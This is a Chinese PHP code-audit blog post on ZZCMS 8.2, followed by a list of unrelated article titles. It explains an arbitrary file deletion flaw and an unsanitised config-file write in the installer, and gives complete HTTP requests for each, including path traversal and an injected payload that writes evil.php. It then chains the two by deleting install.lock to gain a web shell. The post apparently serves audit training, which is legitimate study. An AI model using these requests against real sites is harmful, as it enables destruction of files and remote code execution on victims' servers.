确认过眼神,ZZCMS 8.2 任意文件删除是你想要的
0x00 背景
本周,将zzcms8.2的源码的GetShell方法与大家一同分享,在上周有说过这个CMS比较适合新手或想要入坑PHP代码审计的同学练手,所以分享下从一些容易发现的漏洞一步步到GetShell的过程,如果大家还有其他思路欢迎一同讨论,期待与师傅们的交流。
0x01审计过程
文件删除问题:
0x00 相关环境
源码信息:ZZCMS 8.2 问题文件: zzcmszzcms8.2usermsg.php 漏洞类型:任意文件删除 站点地址:http://www.zzcms.net/
0x01 漏洞分析
在zzcmszzcms8.2userdel.php文件的第44-53行中得到如下代码块,通过分析代码块可以知道,是从数据库中取出图片路径然后进行删除操作,这里同样的操作除了zzcms_main操作外,还有第64行的zzcms_licence操作,这里只分析zzcms_main操作。
因为此处是从数据库select操作中得到图片等文件的路径地址的,所以可以通过追踪对zzcms_main表进行insert或者update操作的代码,在zzcmszzcms8.2userzssave.php文件的第94-102行发现insert或者update操作。
且在zzcmszzcms8.2userzssave.php文件的第103-118行中,当传入的oldimg与数据中的img不同时会删除oldimg,因此此处存在任意文件删除操作。
0x02 漏洞复现
情况一:在action=add的情况下进行任意文件删除 首先进行如下请求在img参数位置填入要删除的文件路径,如根目录下的1.txt。
POST /user/zssave.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 289
Referer: http://127.0.0.1/user/zsadd.php
Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd
Connection: close
Upgrade-Insecure-Requests: 1
proname=thinking&szm=&gnzz=thinking&sm=111111&province=%E8%AF%B7%E9%80%89%E6%8B%A9%E7%9C%81%E4%BB%BD&city=%E8%AF%B7%E9%80%89%E6%8B%A9%E5%9F%8E%E5%8C%BA&xiancheng=&cityforadd=&img=/1.txt&flv=&zc=&yq=&action=add&Submit=%E5%A1%AB%E5%A5%BD%E4%BA%86%EF%BC%8C%E5%8F%91%E5%B8%83%E4%BF%A1%E6%81%AF
然后数据库中会生成img列的值为/1.txt的内容。
然后进行如下请求,删除上面操作生成的那篇招商咨询,然后就会连1.txt一并删除。
POST /user/del.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Referer: http://127.0.0.1/user/zsmanage.php
Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd
Connection: close
Upgrade-Insecure-Requests: 1
id%5B%5D=16&submit=%E5%88%A0%E9%99%A4%0D%0A&pagename=zsmanage.php%3Fpage%3D1&tablename=zzcms_main
情况二:在action=modify的情况下进行任意文件删除 进行如下请求在oldimg参数的位置构造要删除的目标文件,如根目录下的1.txt,所以可以使用../1.txt进行目录跳转后删除目标文件。
POST /user/zssave.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 290
Referer: http://127.0.0.1/user/zsmodify.php?id=15&page=1
Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd
Connection: close
Upgrade-Insecure-Requests: 1
proname=11&szm=&gnzz=22&sm=33&province=%E5%85%A8%E5%9B%BD&city=%E5%85%A8%E5%9B%BD%E5%90%84%E5%9C%B0%E5%8C%BA&xiancheng=&cityforadd=&oldimg=../1.txt&img=%2Fimage%2Fnopic.gif&oldflv=&flv=&zc=&yq=&cpid=15&action=modify&page=1&Submit=%E4%BF%9D%E5%AD%98%E4%BF%AE%E6%94%B9%E7%BB%93%E6%9E%9C%0D%0A
配置文件写入问题
0x00 相关环境
源码信息:ZZCMS 8.2 问题文件: zzcmszzcms8.2installindex.php 漏洞类型:文件写入问题 站点地址:http://www.zzcms.net/
0x01 漏洞分析
在zzcmszzcms8.2installindex.php文件的第105-117行中发现如下代码块,用于将一些配置信息写入到配置文件中。
通过跟踪各个配置信息的传入过程,发现在zzcmszzcms8.2installindex.php文件的第9-10行中使用了变量注册的方法进行变量的初始化。
分析代码可以知道,写入配置文件的操作并没有对传入的数据进行安全处理操作,因此仅需要按着流程走,然后在step=5的时候,在url位置传入恶意代码便可以进行代码写入的操作,当然其他位置也有可以写入的,我这里只是用最简单的位置来实现。
0x02 漏洞复现
首先进行如下请求,将恶意代码写入到zzcmszzcms8.2incconfig.php配置文件中:
POST /install/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 214
Referer: http://127.0.0.1/install/index.php
Connection: close
Upgrade-Insecure-Requests: 1
step=5&token=&db_host=localhost&db_port=3306&db_user=root&db_pass=root&db_name=zzcms&url=http%3A%2F%2F127.0.0.1');(fwrite(fopen("evil.php", "w"), "<?php phpinfo();?>"));//&admin=admin&adminpwd=admin&adminpwd2=admin
然后访问http://127.0.0.1/inc/config.php便会生成evil.php文件,访问http://127.0.0.1/inc/evil.php便可以执行生成的恶意文件从而GetShell。
0x02 小结
本篇列举了ZZCMS8.2版本的任意文件删除与配置文件写入的问题,通过这两个漏洞的组合利用便可以GetShell,先使用任意文件删除漏洞,删除install.lock文件,然后便可以利用配置文件写入的问题写入恶意代码从而GetShell,当然GetShell的方式还有很多,这里仅仅是列举了一些分析起来比较简单的方法。
- 使用HttpClient的优解
- 浅谈 EF CORE 迁移和实例化的几种方式
- Python标准库10 多进程初步 (multiprocessing包)
- .NET CORE——Console中使用依赖注入
- EntityFramework Core 自动绑定模型映射
- Python标准库09 当前进程信息 (os包)
- Dapper连接与事务的简单封装
- 数据可视化的秘密
- EntityFramework Core 学习扫盲
- 协议森林03 IP接力赛 (IP, ARP, RIP和BGP协议)
- 从输入url到页面返回到底发生了什么
- 协议森林04 地址耗尽危机 (IPv4与IPv6地址)
- 使用抽象类和接口的优解
- 协议森林05 我尽力 (IP协议详解)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- JavaScript或ES6如何实现多继承总结【Mixin混合继承模式】
- Hadoop之MapReduce开发总结
- python之文件操作
- 血的教训!千万别在生产使用这些 redis 指令
- Python selenium chrome parses blob url
- 实战|仅用18行JavaScript构建一个倒数计时器
- 译|通过Node和Redis进行API速率限制
- EasySwoole实现Execl导入导出
- 设计模式:参与者风格
- vuepress集成element-ui
- 如何利用unli-app框架快速构建EasyRTC_SFU安卓app项目?
- 离线安装Superset 0.37
- GO 语言 FAQ
- React倒计时功能实现——解耦通用
- 函数式编程 pipe之函数柯里化